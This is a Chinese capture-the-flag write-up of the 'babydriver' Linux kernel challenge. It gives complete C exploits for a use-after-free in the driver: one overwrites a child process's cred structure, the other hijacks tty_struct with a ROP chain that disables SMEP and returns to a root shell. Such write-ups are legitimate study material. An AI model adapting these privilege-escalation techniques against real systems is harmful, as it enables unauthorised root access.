题目分析

首先从文件系统中找到 init 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

可以发现驱动位于 /lib/modules/4.4.72/babydriver.ko 处,取出用 ida 打开,首先先看 babyioctl 函数:

Untitled

在输入的 command0x10001 的时候会释放全局变量 babydev_struct.device_buf 并重新申请一个大小为 size 的新 chunk 并把 size 赋予 babydev_struct.device_buf_len

然后是 babyopen 函数,会向全局变量 babydev_struct.device_buf 上弄一个新的 chunk 并初始化 babydev_struct.device_buf_len

Untitled 2.png

之后是 babyrelease 函数,会释放 babydev_struct.device_buf

Untitled 3.png

babyread 函数会读出 babydev_struct.device_bufcopy_to_user

Untitled 4.png

babywrite 函数会从 copy_from_user 处读入内容到 babydev_struct.device_buf

Untitled 5.png

调试

首先我们使用脚本将启动内容改为 root 并重打包。然后使用 lsmod 命令查看驱动基地址:

1
2
/ # lsmod
babydriver 16384 0 - Live 0xffffffffc0000000 (OE)

之后编写测试 exp

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

int main()
{
int fd = open("/dev/babydev", 2);
close(fd);
}

使用 extract-vmlinux 提取 vmlinux

1
./extract.sh bzImage > vmlinux

/proc/kallsyms 中查看符号地址

1
2
/ # cat /proc/kallsyms | grep babyopen
ffffffffc0000030 t babyopen [babydriver]

使用 gdb 调试

1
2
3
4
gdb vmlinux
pwndbg> add-symbol-file ./babydriver.ko 0xffffffffc0000000
pwndbg> target remote :12345
pwndbg> b *0xffffffffc0000030

成功

Untitled 6.png

漏洞分析与利用

由于 babydev_struct.device_buf 是全局变量,所以当我们 open 两个 drive 的时候会依次更改它,然后在 close 了之后便会 release 造成一个 UAF ,如果我们在 release 之前使用 ioctl 并传入 0x10001 更改 device_bufsize ,那么当我们 fork 一个子进程的时候其 cred 结构体便会分配到上面去,我们再次更改即可提权。

其中 4.4.72cred 结构体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

大小为 0xa8 ,更改其的 uid,gid0 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

int main()
{
printf("[+] Open fd\n");
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

printf("[+] Change buf size\n");
ioctl(fd1,0x10001,0xa8);

printf("[+] Close\n");
close(fd1);

printf("[+] Fork\n");
int pid = fork();
if(pid < 0){
printf("[-] Fork error\n");
exit(0);
}
else{
printf("[+] Write cred\n");
char zeros[30] = {0};
write(fd2,zeros,28);

if(getuid() == 0)
{
printf("[+] root now\n");
system("/bin/cat /flag");
exit(0);
}
}
}

bypass smep and ret2usr

另外我们也可以用另一种方式来攻击,由于我们有一个 UAF ,所以我们可以将任意的结构体修改,内核中有一个 tty_struct 结构,当我们在 open("/dev/ptmx", O_RDWR) 时会分配这样一个结构体。其源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

为什么要控制这个结构体呢?因为其中有另一个很有趣的结构体 tty_operations源码 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

当我们伪造 tty_struct 下的 tty_operations 结构体并修改指针的时候,我们再次调用 open 等内容便会劫持控制流。

首先我们先获取内核的 prepare_kernel_credcommit_creds 地址:

1
2
3
4
5
/ # grep prepare_kernel_cred  /proc/kallsyms
ffffffff810a1810 T prepare_kernel_cred

/ # grep commit_creds /proc/kallsyms
ffffffff810a1420 T commit_creds

然后我们构造 rop 链,其中我们需要把 cr4 置为 0x6f0 来关闭 smep

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
size_t rop[0x20] = {0};

rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

随后构造假的 tty_operations 结构体:

1
2
3
4
5
6
void* fake_tty_operations[30];
for(int i = 0; i < 30; i++){
fake_tty_operations[i] = 0xFFFFFFFF8181BFC5; // mov rsp,rax ; dec ebx ; ret
}
fake_tty_operations[0] = 0xffffffff810635f5; // pop rax; pop rbp; ret;
fake_tty_operations[1] = (size_t)rop;

然后连起来即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
// gcc exp.c -static -masm=intel -g -o exp
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define prepare_kernel_cred 0xffffffff810a1810
#define commit_creds 0xffffffff810a1420

void* fake_tty_operations[30];

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[-] Spawn shell error!");
}
exit(1);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] Status has been saved.");
}

void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}

int main(){
save_status();
int i = 0;
size_t rop[0x20] = {0};

rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)spawn_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

for(int i = 0; i < 30; i++){
fake_tty_operations[i] = 0xFFFFFFFF8181BFC5; // mov rsp,rax ; dec ebx ; ret
}
fake_tty_operations[0] = 0xffffffff810635f5; // pop rax; pop rbp; ret;
fake_tty_operations[1] = (size_t)rop;

printf("[+] Open babydev fd\n");
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);

printf("[+] Change buf size\n");
ioctl(fd1,0x10001,0x2e0);

printf("[+] Close\n");
close(fd1);

printf("[+] Open ptmx fd\n");
int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);

printf("[+] Read tty struct\n");
size_t fake_tty_struct[4] = {0};
read(fd2, fake_tty_struct, 0x20);

printf("[+] Write tty struct\n");
fake_tty_struct[3] = (size_t)fake_tty_operations;
write(fd2,fake_tty_struct, 0x20);

printf("[+] Trick poc\n");
char buf[0x8] = {0};
write(fd_tty, buf, 8);

return 0;

}